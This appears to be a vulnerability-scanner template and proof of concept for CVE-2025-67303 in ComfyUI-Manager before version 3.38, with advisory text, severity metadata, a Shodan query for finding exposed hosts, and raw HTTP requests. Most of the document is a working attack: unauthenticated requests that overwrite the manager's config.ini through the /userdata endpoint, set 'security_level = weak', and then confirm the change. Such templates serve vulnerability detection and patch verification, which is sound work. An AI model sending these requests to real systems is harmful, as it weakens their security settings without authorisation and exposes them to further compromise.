ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.
PoC
id: CVE-2025-67303
info:
name: ComfyUI-Manager < 3.38 - Configuration Overwrite
author: maciejklimek
severity: critical
description: |
ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.
impact: |
Remote attackers can manipulate configuration and critical data, potentially compromising application integrity and security.
remediation: |
Update to version 3.38 or later.
reference:
- https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
- https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/README.md
- https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-67303
epss-score: 0.01412
epss-percentile: 0.71351
cwe-id: CWE-420
metadata:
verified: true
max-request: 3
vendor: comfy-org
product: comfyui-manager
shodan-query: http.title:"ComfyUI"
tags: cve,cve2025,comfyui,comfyui-manager,intrusive,vuln,vkev
http:
- raw:
- |
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
- |
POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
[default]
security_level = weak
- |
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains_all(body_1, '[default]', 'security_level')"
- "contains(body_3, 'security_level = weak')"
- "status_code_1 == 200 && status_code_3 == 200"
condition: and
# digest: 4a0a004730450220033107ef3418897f52949e89ea1ba5a92b5dca9079b9b47d5778a596ac835b98022100bc2fc4910b0378e8121e9c90423c00d3cc66e8f1265f2a62c5b162e9d40831ed:922c64590222798bb761d5b6d8e72950
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